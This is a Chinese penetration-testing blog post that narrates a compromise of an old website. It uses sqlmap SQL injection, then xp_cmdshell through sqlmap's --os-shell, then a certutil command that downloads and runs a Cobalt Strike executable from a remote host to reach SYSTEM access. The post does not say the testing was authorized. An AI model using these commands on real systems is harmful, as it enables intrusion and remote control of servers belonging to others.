一次简单又复杂的shell

  • A+
所属分类:安全文章

  

一次简单又复杂的shell


从同事那拿到站点比较老旧的,到处都是注入点

        直接放入sqlmap里跑


一次简单又复杂的shell


        跑出注入后,看见是mssql,这里使用参数:--current-user,发现并不是sa权限。


        同事然后跑出后台账号密码后,找半天找不到后台。

 

 

        在这个站上找不到后台,随即放弃,然后通过子域名上,找到了一个同样的cms,也是到处都是注入到,同样的配方同样味道,还是找不到后台。


        再次丢入sqlmap发现是同一个数据库,只是两个站点在不同的库而已,就在快放弃的时候,同样执行了--current-user发现是sa权限,不同的站点居然数据库的权限不一样,这些有的搞了。

 

        既然找不到后台那就直接通过mssqlxp_cmdshell来写shell

        首先通过—os-cmd=whoami


一次简单又复杂的shell



        返回的是system权限

        

        然后再用—os-shell来实现交互式的shell,再通过powershell来上线cs

首先执行了一下dnslog判断一下目标机器出不出外网


一次简单又复杂的shell



        发现主机可以出外网,这时候就可以通过powershell进行上线啦,

但是执行的时候却命令后缺发现,跟我执行的命令不相同,仿佛再在列出进程的名字。


        而且不跑完执行不了我的命令,问了下同事有没有相同的状况,他说他执行了netstat,然后我们换了几个ip发现无论执行什么都要先把上次的命令执行结果回显完,才可以继续执行下一个命令。


        目标主机进程较多,跑是速度又慢,在等了将近4个小时之后终于跑完了。

然后进行poweshell的上线语句:


一次简单又复杂的shell



        发现有格式上的错误,经过了一下排错,怀疑可能是单引号跟双引号的符号问题。

        所以打算使用下载恶意exe并执行的形式来获取shell


使用windos自带的证书下载的命令来绕过下载文件


certutil -urlcache -split -f https://xxxxxx cs.exe


下载完后,并执行,这时候nt同事说了一句看下有没有下载成功,随即执行了dir命令

        

        然后发现执行的目录在C:WindowsSystem32,底下有9000+个文件,上面说了执行命令后必须回显完成才可以执行下一个命令,心中一万只草泥马奔腾而过。

 

        这里使用了服务器并且加上了sqlmap的免确认参数:--batch命令以及后台执行命令:nohup进行跑


nohup python sqlmap -r /root/1.txt --batch–os-shell=whoami &


 

最终在服务器上跑了28个小时才完成了全部回显。。。。。

 

在上面看到了我们上传的cs的马,随即进行执行

        成功上线,system权限


一次简单又复杂的shell


本文始发于微信公众号(Khan安全攻防实验室):一次简单又复杂的shell

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: